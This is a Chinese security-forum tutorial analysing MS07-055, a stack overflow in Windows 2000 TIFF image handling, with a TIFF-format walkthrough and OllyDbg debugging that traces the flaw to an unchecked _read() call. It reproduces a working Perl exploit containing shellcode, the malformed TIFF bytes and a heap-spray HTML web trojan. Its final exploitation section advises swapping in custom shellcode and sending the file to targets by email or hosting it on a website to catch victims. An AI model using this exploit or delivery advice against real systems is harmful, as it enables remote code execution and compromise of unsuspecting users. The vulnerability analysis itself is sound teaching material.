• 标 题: 【技术专题】软件漏洞分析入门_8_案例_Microsoft TIFF图像文件处理栈溢出漏洞(MS07-055)
  • 作 者:shineast
  • 时 间:2008-01-05 13:28
  • 链 接:http://bbs.pediy.com/showthread.php?t=57730

为支持老大failwest的新书《0day安全:软件漏洞分析与利用》的发行,响应看雪在漏洞分析领域的雄起,特贡献漏洞案例实战分析文章如下:

Microsoft TIFF图像文件处理栈溢出漏洞(MS07-055)
张东辉[shineast][http://hi.baidu.com/shineastdh]

漏洞背景
??  TIFF(TagImageFileformat)是Mac中广泛使用的图像格式,它由Aldus和微软联合开发,最初是出于跨平台存储扫描图像的需要而设计的。它的特点是图像格式复杂、存贮信息多。正因为它存储的图像细微层次的信息非常多,图像的质量也得以提高,故而非常有利于原稿的复制。该格式有压缩和非压缩二种形式,其中压缩可采用LZW无损压缩方案存储。不过,由于TIFF格式结构较为复杂,兼容性较差,因此有时你的软件可能不能正确识别TIFF文件(现在绝大部分软件都已解决了这个问题)。目前在Mac和PC机上移植TIFF文件也十分便捷,因而TIFF现在也是微机上使用最广泛的图像文件格式之一。
2007年10月9日,微软的网站上公示了“Microsoft 安全公告 MS07-055 - 严重 Kodak 图像查看器中的漏洞可能允许远程执行代码 (923810)”这个安全公告,并提供了该漏洞的补丁程序。此漏洞仅存在于运行 Windows 2000 的系统上。但是,如果是从 Windows 2000 升级的,运行受支持版本的 Windows XP 和 Windows Server 2003 也可能受影响。10月29日和11月11日,milw0rm上公布了利用这个漏洞的两个程序,一个是利用explorer溢出的;另一个是利用IE溢出的,可以做网络木马。同时绿盟的网站上也发布了紧急通告——“绿盟科技紧急通告(Alert2007-10)”。攻击者可以通过构建特制图像来利用此漏洞,如果用户访问网站、查看特制电子邮件或者打开电子邮件附件,该漏洞可能允许远程执行指令。成功利用此漏洞的攻击者可以完全控制受影响的系统。应该说这个漏洞的危害性还是很大的,属于“严重”、“紧急”级别的漏洞。
另外,同一时间,除了MS07-055,微软还公布了MS07-056到MS07-060。这些安全公告分别描述了8个安全问题,分别是有关各版本的Microsoft Windows、IE、Outlook Express和Windows Mail和SharePoint等产品和服务中的漏洞。

漏洞重现与漏洞分析

  要分析这个漏洞,一定要能够重现这个漏洞,然后通过跟踪和调试来分析它。如果你的WindowsXP系统不是从Windows2000升级过来的,最好先安装一个虚拟机,虚拟一个Win2K操作系统,然后在这个系统下做漏洞重现。我在VMware中安装的是Win2K SP3,当然SP4也可以,只要是2K系统都可以,因为这个漏洞是新出的。如果你的2K系统已经对这个漏洞(MS07-055)打了漏洞补丁(KB923810),你可以先把漏洞补丁在“添加删除程序”中卸载掉,做完实验后可以在安装上。另外还要安装一下ActivePerl,用来运行perl程序代码。把这些准备工作做好后,我们就可以开始漏洞重现了。
  Milw0rm上关于这个漏洞公布了2个exploit,我分析了一下,这两个exploit利用的漏洞是同一个,就是我们现在要分析的tiff文件格式处理漏洞,但是它们的利用方式不同,一个是直接在explorer下就溢出,也就是说当你用explorer打开了畸形tiff文件所在的目录时,漏洞就已经使explorer溢出了;另一个是可以用来做网络木马,也就是说,当你打开了远程web服务器上的某个网页时,而网页恰好打开了那个畸形tiff文件,那个就会在你本地发生IE栈溢出,从而执行任意代码,即shellocde。
  那么我这里仅通过最新的网页木马方式的exploit来分析这个漏洞,最终让大家看到这个漏洞发生的根本原因。下面我们首先来看看这个exploit是如何写成的:
#!/usr/bin/perl
# Microsoft Internet Explorer TIF/TIFF Code Execution (MS07-055)
# This exploit tested on:
#  - Windows 2000 SP4 + IE5.01
#  - Windows 2000 SP4 + IE5.5
#  - Windows 2000 SP4 + IE6.0 SP1
# invokes calc.exe if successful 
use strict;
# run calc.exe
my $shellcode =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b".
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99".
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04".
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb".
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30".
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09".
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8".
"\x83\xc0\x7b\x50\x68\x7e\xd8\xe2\x73\x68\x98\xfe\x8a\x0e\x57\xff".
"\xe7\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
my $tiff1 =
"\x49\x49\x2A\x00\x90\x3E\x00\x00\x80\x3F\xE0\x50".
"\x38\x24\x16\x0D\x07\x84\x42\x61\x50\xB8\x64\x36".
"\x1D\x0F\x88\x44\x62\x51\x38\xA4\x56\x2D\x17\x8C".
"\x46\x63\x51\xB8\xE4\x76\x3D\x1F\x90\x48\x64\x52".
"\x39\x24\x96\x4D\x27\x94\x4A\x65\x52\xB9\x64\xB6".
。。。(略)。。。
"\x56\xAD\x57\x86\x40\x40\x60\x00\x00\x00\x01\x00".
"\x00\x00\x60\x00\x00\x00\x01\x00\x00\x00\x08\x00".
"\x08\x00\x08\x00\xAE\x00\x00\x00\xAE\x00\x00\x00".
"\xAE\x00\x00\x00\xAE\x00\x00\x00\xAE\x00\x00\x00".
"\xAE\x00\x00\x00\xB4\x00\x00\x00\xBA\x00\x00\x00".
"\xBA\x00\x03\x00\xCA\x00\x00\x00\xDB\x00\x00\x00".
"\xD7\x00\x00\x00\xD6\x00";
my $eip = "\x0c\x0c\x0c\x0c";
my $data_0400 = "\x08\x00\x40\x00";
my $data_null = "\x11\x00\x40\x00";
my $tiff2 =
"\x00\x00\xB9\x90\x90\x90\x90\x90\xFC\xE8".
"\x44\x00\x00\x00\x8B\x45\x3C\x8B\x7C\x05\x78\x01".
"\xEF\x8B\x4F\x18\x8B\x5F\x20\x01\xEB\x49\x8B\x34".
"\x8B\x01\xEE\x31\xC0\x99\xAC\x84\xC0\x74\x07\xC1".
"\xCA\x0D\x01\xC2\xEB\xF4\x3B\x54\x24\x04\x75\xE5".
。。。(略)。。。
"\xB6\x3A\x00\x00\x64\x3B\x00\x00\x0F\x00\xFE\x00".
"\x04\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01".
"\x03\x00\x01\x00\x00\x00\x80\x02\x00\x00\x01\x01".
"\x03\x00\x01\x00\x00\x00\x00\x02\x00\x00\x02\x01".
"\x03\x00\xFF\x00\x00\x00\xDA\x3B\x00\x00\x03\x01".
"\x03\x00\x01\x00\x00\x00\x05\x00\x00\x00\x06\x01".
"\x03\x00\x01\x00\x00\x00\x02\x00\x00\x00\x11\x01".
"\x04\x00\x56\x00\x00\x00\x38\x3D\x00\x00\x15\x01".
"\x03\x00\x01\x00\x00\x00\x03\x00\x00\x00\x16\x01".
"\x04\x00\x01\x00\x00\x00\x06\x00\x00\x00\x17\x01".
"\x04\x00\x56\x00\x00\x00\xE0\x3B\x00\x00\x1A\x01".
"\x05\x00\x01\x00\x00\x00\xCA\x3B\x00\x00\x1B\x01".
"\x05\x00\x01\x00\x00\x00\xD2\x3B\x00\x00\x1C\x01".
"\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x28\x01".
"\x03\x00\x01\x00\x00\x00\x02\x00\x00\x00\x3D\x01".
"\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00".
"\x00\x00";
# convert shellcode for javascript
if ((length($shellcode) / 2) =~ /\./) {
  $shellcode .= "\x00";
}
$shellcode =~ s/(.)(.)/'%u'.unpack("H*", $2).unpack("H*", $1)/ge;
# write tiff file
open(FILE, ">ms07-055.tif");
binmode(FILE);
print FILE $tiff1;
print FILE $eip;
print FILE $data_0400;
print FILE $data_0400;
print FILE $data_0400;
print FILE $data_null;
print FILE $tiff2;
close(FILE);
# write html file
open(FILE, ">ms07-055.html");
print FILE <<HTML;
<html><head>
<title>Microsoft Internet Explorer TIF/TIFF Code Execution (MS07-055)</title>
<script language="JavaScript">
<!-- var memory = new Array();
function getSpraySlide(spraySlide, spraySlideSize){
  while (spraySlide.length*2<spraySlideSize){
    spraySlide += spraySlide;
  }
  spraySlide = spraySlide.substring(0,spraySlideSize/2);
  return spraySlide;
}
function makeSlide(){
  var heapSprayToAddress = 0x0c0c0c0c;
  var payLoadCode = unescape("$shellcode");
  var heapBlockSize = 0x400000;
  var payLoadSize = payLoadCode.length * 2;
  var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
  var spraySlide = unescape("%u0c0c%u0c0c");
  spraySlide = getSpraySlide(spraySlide,spraySlideSize);
  heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
  for (i=0;i<heapBlocks;i++) {
    memory[i] = spraySlide + payLoadCode;
  }
  return 0;
}
makeSlide();//-->
</script>
</head>
<body><img src="ms07-055.tif"></body></html>
HTML
close(FILE); 
  看了这段perl程序,大概知道是怎么回事了,其实就是用这段perl程序写了两个文件,一个是特制的、畸形的tiff文件,命名为“ms07-055.tif”;另一个是HTML文件,自然就是网马了。其中HTML文件很明白,这个网页用来打开前面那个tiff文件,打开之前还在0c0c0c0c内存地址附近请求了连续的若干内存块,每个内存块中存放的是一片片0c0c0c0c指令,最后跟着的是shellcode。0c0c0c0c指令没有什么特殊目的,就像nop指令一样。如此以来一旦程序被溢出跳到0c0c0c0c地址即可,就可以执行我们预期的shellcode了。——这个逻辑应该很清楚了,说的专业一点就是Heap Spray技术。
  理解了如何利用,现在我们的关键就是需要掌握一些tiff图像文件格式规范,不需要很专业的掌握,只要对这种文件格式的基础知识有所了解就足够我们分析漏洞了。下面我来描述一下文件的基本规范,考虑到看英文比较难受的朋友,我特意翻译了一把,希望对大家有所帮助。需要英文原文的朋友也可以从本文的光盘相关中得到。
  一个完整的tiff文件首先有8字节的头部(header),头部中含有一个指针指向一个图像文件目录,简称IFD(image file directory),每个IFD包含了重要的图像信息,这些信息是一条一条的存储在IFD中的,称为目录条目,简称DE(directory entry)。具体的说,可以用下面这个图示来说明他们之间的逻辑关系。
名称:  5.JPG
查看次数: 683
文件大小:  17.2 KB
  首部Header
字节0-1:字节序 
     “II”(4949.H)——小印第安,低字节存储在内存的低地址
     “MM”(4D4D.H)——大印第安,低字节存储在内存的高地址
字节2-3:TIFF文件标识
最好选用42(十进制),同时要看前面的字节序,如果是小印第安,这里就写2A00.H;否则写002A.H
字节4-7:第一个图像文件目录(IFD)在文件中的偏移量(offset)
  图像文件目录(IFD)
每一个图像文件目录(IFD)中首先有两个字节表示目录条目(DE)的个数,接着的连续的每12个字节是一个目录条目,每个IFD最后4个字节表示的是下一个IFD的偏移量,如果没有后继IFD的话用一个4字节数字0来结尾。
  目录条目(DE)
每一个12字节的DE拥有同样的结构:
字节0-1:本域的标记(Tag)
字节2-3:本域类型(Type)
字节4-7:值的个数
字节8-11:具体的值,或者是一串多个值存储于文件的偏移量
其中类型有多种,最常见的有一下几种:
1=BYTE    8位无符号整数
2=ASCII   8位,其中前7位表示一个ASCII码;最后一位必须是NUL(二进制的0)
3=SHORT   16位无符号整数
4=LONG   32位无符号整数
5=RATIONAL  两个LONG,第一个表示分子;第二个表示分母

  有了以上的基本文件格式规范知识后,我们就可以开始研究上面perl代码生成的ms07-055.tif文件了。首先我们来看看文件头部的8个字节,如下:
00000000h: 49 49 2A 00 90 3E 00 00 80 3F E0 50 38 24 16 0D ; II*.?..?郟8$..
  根据上面的知识很容易知道其中的含义,49 49表示小印第安字节序;2A 00是TIFF文件文件标识;90 3E 00 00表示该文件的第一个IFD在文件的00003E90偏移量处。
  那么我们下一步很自然的去00003E90偏移量处去解析第一个IFD,可见该文件中只有这样一个IFD。
00003e90h: 0F 00  FE 00 04 00 01 00 00 00 00 00 00 00  00 01 ; ..?............
00003ea0h: 03 00 01 00 00 00 80 02 00 00  01 01 03 00 01 00 ; ...............
00003eb0h: 00 00 00 02 00 00  02 01 03 00 FF 00 00 00 DA 3B ; .............?
00003ec0h: 00 00  03 01 03 00 01 00 00 00 05 00 00 00  06 01 ; ................
00003ed0h: 03 00 01 00 00 00 02 00 00 00  11 01 04 00 56 00 ; ..............V.
00003ee0h: 00 00 38 3D 00 00  15 01 03 00 01 00 00 00 03 00 ; ..8=............
00003ef0h: 00 00  16 01 04 00 01 00 00 00 06 00 00 00  17 01 ; ................
00003f00h: 04 00 56 00 00 00 E0 3B 00 00  1A 01 05 00 01 00 ; ..V...?........
00003f10h: 00 00 CA 3B 00 00  1B 01 05 00 01 00 00 00 D2 3B ; ..?..........?
00003f20h: 00 00  1C 01 03 00 01 00 00 00 01 00 00 00  28 01 ; ..............(.
00003f30h: 03 00 01 00 00 00 02 00 00 00  3D 01 03 00 01 00 ; ..........=.....
00003f40h: 00 00 01 00 00 00  0 0 00 00 00                   ; ..........
  其中大头的0F 00表示这个IFD中有15个DE,每个DE含有12个字节,我在上面把他们隔开了。为了让大家对这个15个DE有更清楚的了解,我把他们按照含义列成一个表,如下所示:
序号  标记Tag  类型Type  值个数Count  值获偏移量Value/Offset
0  00FE  0004  0000 0001  0000 0000
1  0100  0003  0000 0001  0000 0280
2  0101  0003  0000 0001  0000 0200
3  0102  0003  0000 00FF  0000 3BDA
4  0103  0003  0000 0001  0000 0005
5  0106  0003  0000 0001  0000 0002
6  0111  0004  0000 0056  0000 3D38
7  0115  0003  0000 0001  0000 0003
8  0116  0004  0000 0001  0000 0006
9  0117  0004  0000 0056  0000 3BE0
10  011A  0005  0000 0001  0000 3BCA
11  011B  0005  0000 0001  0000 3BD2
12  011C  0003  0000 0001  0000 0001
13  0128  0003  0000 0001  0000 0002
14  013D  0003  0000 0001  0000 0001
  在这15个DE中,最值得关注的是第4个,也就是上面用黑底绿字标出的一行,这个DE告诉我们,它的数值个数有0000 00FF个,也就是255个;数值类型均是SHORT(0003),16位,占两个字节;这255个数值在文件中的偏移量是0000 3BDA。以我的直觉来看,我认为这255个数值就是最后造成栈溢出的直接凶手,可能就是在程序中处理这255个数值时,经这个数值读入某函数的局部变量(可能是个数组)时,由于开辟的数组元素数有限,而且没有比较255这个数和开辟的数组元素个数的大小关系,就开始读入,最终导致了缓冲区溢出的发生。——这也只是我的合理预测和猜想,到底是不是如我所说,需要跟踪调试才能证明。下面我们就用OllyDBG来调试一把。
  由于程序控制的EIP最终为0c0c0c0c,如果不修改一下的话,跟踪调试的时候,调试器是不会停下来的,那么很简单,直接把0c0c0c0c改为FFFFFFFF即可,这样调试器会发现程序在执行非法内存地址的指令,就会停下来。停下来后,你可以去检查栈中的蛛丝马迹。根据函数调用的原理,我们可以知道覆盖EIP为FFFFFFFF前执行的指令应该是RET指令,在这个指令执行前一定有一个函数被调用,而这个函数也很有可能就是最终发生溢出的函数,那么在ESP指向的栈空间的上部一定有一些返回地址,那么我们可以把几个可以的返回地址记下来,然后在下一次程序加载了这个地址所属的dll文件或exe文件时拦截,并把断点下到刚才记录下来的地址紧邻的前一条指令处,那么一旦断下来,有两种境况,第一种情况是,栈还未被覆盖,说明溢出还没有发生,那么只要单步跟踪仔细调试,就可以跟到发生溢出的那行代码;第二种境况是,栈已经被覆盖了,那说明记录下来的几个可疑地址是不正确的,根本就没有在这些函数内部发生溢出,这就需要在刚才发生了溢出后的栈中继续前溯,一定会在溢出之前断下程序,因为无论如何程序在溢出之前一定调用过某个程序。而这个程序的返回地址会保存在栈中。
  我用这种办法,首先发现了两个可疑地址:oieng400.dll 文件中的690B 3F71和690B 3163,最后发现断到690B 3163时还尚未发生溢出,那么我就F7跟进去,最终通过单步调试的方法,终于找到了溢出发生的函数。原来是在MSVCRT.dll下的read()函数中溢出的。
名称:  1.JPG
查看次数: 680
文件大小:  109.1 KB

  为什么会在这个read()函数中溢出呢?我们首先来看看read()函数的定义:
_read()读文件函数 
原形:int _read(handle,buffer,count) 
    int handle;//文件句柄 
    void *buffer;//存放读出数据的缓冲区 
    unsigned count;//一次读出的字节数 
功能:从由handle指定的文件中读取由count指定字节数的数据到buffer 
返回值:0-0xfffe(实际读出的字节数);-1(错误)
  再来看看给read()函数传入的三个参数是什么,其中handle是一个句柄,就是前面那个畸形文件的句柄;buf是一个内存地址,指向了栈空间的一个内存单元;len=1FE=FF×2。结合前面的分析,连起来就是说,这里调用read()函数的目的是要把前面那255个2字节数值全部复制到内部某个变量中。而且在调用read()函数之前并没有做任何长度上的检查,因此这是一定能导致溢出的,因为内部变量的空间是有限的,而文件中存储的数值个数却是不确定的。我想到此,本漏洞导致的根本原因已经找到了,就是未检查文件DE指定的数值个数和长度就开始往内部变量中写入,最终覆盖了previous EBP和返回地址,导致发生栈溢出。下面这个截图可以看到返回地址被覆盖的效果:
名称:  2.JPG
查看次数: 678
文件大小:  101.4 KB
漏洞利用
??  这个漏洞非常类似于我今年5月份写的的那个严重的微软漏洞——ANI文件处理漏洞。这里又多一个TIFF文件处理漏洞,看来图像格式文件的处理漏洞还是挺多的,也挺好挖掘的,只要掌握了文件格式的规范就可以开始fuzz了。
  对于这个TIFF文件处理漏洞的利用,非常简单,你可以用milw0rm上公布的第一个exploit,改进自己的shellcode,然后用vc6编译生成畸形的、恶意的tif文件,然后通过邮件,聊天工具等软件发送给目标用户,只要他是Win2K操作系统,敢打开这个文件所在的目录,那就直接中招了。
  当然还可以用本文中的exploit,也就是milw0rm上公布的第二个exploit,改进自己的shellcode,然后用ActivePerl运行那个perl程序,就可以生成一对文件——畸形tif文件和网页木马。挂在网站上,等Win2K的目标机器来上钩。如下图,是我在本地的测试效果:
名称:  4.JPG
查看次数: 674
文件大小:  54.8 KB

总结
??  回顾本漏洞的重现过程和分析过程,我们首先学习了TIFF文件格式的一些基本规范,由于利用程序中没有详细的注释为什么那样构造畸形文件,因此我们需要掌握一定的文件格式规范。接着我们结合利用程序对其生成的畸形tiff文件,根据格式规范来分析,发现在第一个IFD中的第4个DE有一定的可疑,该DE指定了数值类型为16位的无符号整数,一共指定了连续的FF个这样的数值。最终通过跟踪调试的方法,定位到了栈溢出发生的函数——read()函数,这是微软下的c标准运行库中的一个函数,功能是从由handle指定的文件中读取由count指定字节数的数据到buffer。而在对tiff文件做处理的oieng400.dll文件中调用read()函数时,传入的buffer竟然是内部变量,而且从文件中读取并写入这个内部变量前没有做任何的检查操作。这就是导致漏洞发生的根本原因。